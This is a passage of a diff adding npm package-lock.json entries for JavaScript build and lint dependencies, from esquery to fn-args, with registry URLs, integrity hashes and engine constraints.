"esquery": "^1.0.0", + "esutils": "^2.0.2", + "file-entry-cache": "^2.0.0", + "functional-red-black-tree": "^1.0.1", + "glob": "^7.1.2", + "globals": "^11.0.1", + "ignore": "^3.3.3", + "imurmurhash": "^0.1.4", + "inquirer": "^3.0.6", + "is-resolvable": "^1.0.0", + "js-yaml": "^3.9.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.3.0", + "lodash": "^4.17.4", + "minimatch": "^3.0.2", + "mkdirp": "^0.5.1", + "natural-compare": "^1.4.0", + "optionator": "^0.8.2", + "path-is-inside": "^1.0.2", + "pluralize": "^7.0.0", + "progress": "^2.0.0", + "regexpp": "^1.0.1", + "require-uncached": "^1.0.3", + "semver": "^5.3.0", + "strip-ansi": "^4.0.0", + "strip-json-comments": "~2.0.1", + "table": "4.0.2", + "text-table": "~0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint-loader": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-1.9.0.tgz", + "integrity": "sha1-fhvp/t3KMo09z67xrUnVvv/oOhM=", + "deprecated": "This loader has been deprecated. Please use eslint-webpack-plugin", + "dev": true, + "dependencies": { + "loader-fs-cache": "^1.0.0", + "loader-utils": "^1.0.2", + "object-assign": "^4.0.1", + "object-hash": "^1.1.4", + "rimraf": "^2.6.1" + }, + "peerDependencies": { + "eslint": ">=1.6.0 <5.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.1.tgz", + "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", + "dev": true, + "dependencies": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", + "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/eslint/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/eslint/node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/eslint/node_modules/debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/eslint/node_modules/esprima": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.0.tgz", + "integrity": "sha512-oftTcaMu/EGrEIu904mWteKIv8vMuOgGYo7EhVJJN00R/EED9DCua/xxHRdYnKtcECzVg7xOWhflvJMnqcFZjw==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "11.7.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", + "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/js-yaml": { + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", + "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/eslint/node_modules/progress": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", + "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/eslint/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/espree": { + "version": "3.5.4", + "resolved": "https://registry.npmjs.org/espree/-/espree-3.5.4.tgz", + "integrity": "sha512-yAcIQxtmMiB/jL32dzEp2enBeidsB7xWPLNiw3IIkpVds1P+h7qF9YwJq1yUNzp2OKXgAprs4F61ih66UsoD1A==", + "dev": true, + "dependencies": { + "acorn": "^5.5.0", + "acorn-jsx": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/espree/node_modules/acorn": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", + "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/esprima": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", + "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/esquery": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", + "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", + "dev": true, + "dependencies": { + "estraverse": "^4.0.0" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/esrecurse": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", + "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", + "dev": true, + "dependencies": { + "estraverse": "^4.1.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", + "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/esutils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", + "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/event-emitter": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", + "integrity": "sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eventemitter2": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz", + "integrity": "sha1-j2G3XN4BKy6esoTUVFWDtWQ7Yas=", + "dev": true + }, + "node_modules/events": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", + "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/evp_bytestokey": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.0.tgz", + "integrity": "sha1-SXtmrZ/vZc18CKYYCCS6FHa2blM=", + "dev": true, + "dependencies": { + "create-hash": "^1.1.1" + } + }, + "node_modules/exec-sh": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.2.2.tgz", + "integrity": "sha512-FIUCJz1RbuS0FKTdaAafAByGS0CPvU3R0MeHxgtl+djzCc//F8HakL8GzmVNZanasTbTAY/3DRFA0KpVqj/eAw==", + "dev": true, + "dependencies": { + "merge": "^1.2.0" + } + }, + "node_modules/execa": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", + "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", + "dev": true, + "dependencies": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expand-brackets": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", + "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", + "dev": true, + "dependencies": { + "is-posix-bracket": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-range": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", + "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", + "dev": true, + "dependencies": { + "fill-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/expand-template": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-1.1.0.tgz", + "integrity": "sha512-kkjwkMqj0h4w/sb32ERCDxCQkREMCAgS39DscDnSwDsbxnwwM1BTZySdC3Bn1lhY7vL08n9GoO/fVTynjDgRyQ==", + "dev": true, + "optional": true + }, + "node_modules/extend": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", + "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", + "dev": true + }, + "node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extend-shallow/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/external-editor": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", + "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", + "dev": true, + "dependencies": { + "chardet": "^0.4.0", + "iconv-lite": "^0.4.17", + "tmp": "^0.0.33" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/extglob": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", + "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", + "dev": true, + "dependencies": { + "is-extglob": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extract-text-webpack-plugin": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extract-text-webpack-plugin/-/extract-text-webpack-plugin-3.0.2.tgz", + "integrity": "sha512-bt/LZ4m5Rqt/Crl2HiKuAl/oqg0psx1tsTLkvWbJen1CtD+fftkZhMaQ9HOtY2gWsl2Wq+sABmMVi9z3DhKWQQ==", + "deprecated": "Deprecated. Please use https://github.com/webpack-contrib/mini-css-extract-plugin", + "dev": true, + "dependencies": { + "async": "^2.4.1", + "loader-utils": "^1.1.0", + "schema-utils": "^0.3.0", + "webpack-sources": "^1.0.1" + }, + "engines": { + "node": ">= 4.8 < 5.0.0 || >= 5.10" + }, + "peerDependencies": { + "webpack": "^3.1.0" + } + }, + "node_modules/extract-text-webpack-plugin/node_modules/async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.10" + } + }, + "node_modules/extract-text-webpack-plugin/node_modules/schema-utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", + "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", + "dev": true, + "dependencies": { + "ajv": "^5.0.0" + }, + "engines": { + "node": ">= 4.3 < 5.0.0 || >= 5.10" + } + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", + "dev": true, + "engines": [ + "node >=0.6.0" + ] + }, + "node_modules/fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", + "dev": true + }, + "node_modules/fast-xml-parser": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.1.3.tgz", + "integrity": "sha512-LsNDahCiCcJPe8NO7HijcnukHB24tKbfDDA5IILx9dmW3Frb52lhbeX6MPNUSvyGNfav2VTYpJ/OqkRoVLrh2Q==", + "peer": true, + "dependencies": { + "strnum": "^1.0.5" + }, + "bin": { + "fxparser": "src/cli/cli.js" + }, + "funding": { + "type": "paypal", + "url": "https://paypal.me/naturalintelligence" + } + }, + "node_modules/fastparse": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.1.tgz", + "integrity": "sha1-0eJkOzipTXWDtHkGDmxK/8lAcfg=", + "dev": true + }, + "node_modules/faye-websocket": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz", + "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", + "dev": true, + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "peer": true, + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/fbjs": { + "version": "0.8.17", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", + "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", + "dependencies": { + "core-js": "^1.0.0", + "isomorphic-fetch": "^2.1.1", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^0.7.18" + } + }, + "node_modules/fbjs/node_modules/core-js": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", + "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=", + "deprecated": "core-js@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js." + }, + "node_modules/figgy-pudding": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz", + "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==", + "dev": true + }, + "node_modules/figures": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", + "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", + "dev": true, + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/file-entry-cache": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", + "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", + "dev": true, + "dependencies": { + "flat-cache": "^1.2.1", + "object-assign": "^4.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/file-loader": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-0.11.2.tgz", + "integrity": "sha1-T/HfKK84cZpgmAk7iMgscdF5SjQ=", + "dev": true, + "dependencies": { + "loader-utils": "^1.0.2" + } + }, + "node_modules/file-sync-cmp": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz", + "integrity": "sha1-peeo/7+kk7Q7kju9TKiaU7Y7YSs=", + "dev": true + }, + "node_modules/file-type": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-7.7.1.tgz", + "integrity": "sha512-bTrKkzzZI6wH+NXhyD3SOXtb2zXTw2SbwI2RxUlRcXVsnN7jNL5hJzVQLYv7FOQhxFkK4XWdAflEaWFpaLLWpQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true + }, + "node_modules/filename-regex": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", + "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fill-range": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz", + "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==", + "dev": true, + "dependencies": { + "is-number": "^2.1.0", + "isobject": "^2.0.0", + "randomatic": "^3.0.0", + "repeat-element": "^1.1.2", + "repeat-string": "^1.5.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "peer": true, + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/find-cache-dir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-1.0.0.tgz", + "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^1.0.0", + "pkg-dir": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/find-up": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", + "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", + "dev": true, + "dependencies": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/findup-sync": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-0.3.0.tgz", + "integrity": "sha1-N5MKpdgWt3fANEXhlmzGeQpMCxY=", + "dev": true, + "dependencies": { + "glob": "~5.0.0" + }, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/findup-sync/node_modules/glob": { + "version": "5.0.15", + "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", + "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", + "dev": true, + "dependencies": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/flat": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz", + "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==", + "dev": true, + "dependencies": { + "is-buffer": "~2.0.3" + }, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/flat-cache": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", + "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", + "dev": true, + "dependencies": { + "circular-json": "^0.3.1", + "del": "^2.0.2", + "graceful-fs": "^4.1.2", + "write": "^0.2.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/flat/node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/flatten": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.2.tgz", + "integrity": "sha1-2uRqnXj74lKSJYzB54CkHZXAN4I=", + "deprecated": "flatten is deprecated in favor of utility frameworks such as lodash.", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/flow-parser": { + "version": "0.185.2", + "resolved": "https://registry.npmjs.org/flow-parser/-/flow-parser-0.185.2.tgz", + "integrity": "sha512-2hJ5ACYeJCzNtiVULov6pljKOLygy0zddoqSI1fFetM+XRPpRshFdGEijtqlamA1XwyZ+7rhryI6FQFzvtLWUQ==", + "peer": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/flush-write-stream": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", + "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" + } + }, + "node_modules/fn-args": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fn-args/-/fn-args-4.0.0.tgz", + "integrity": 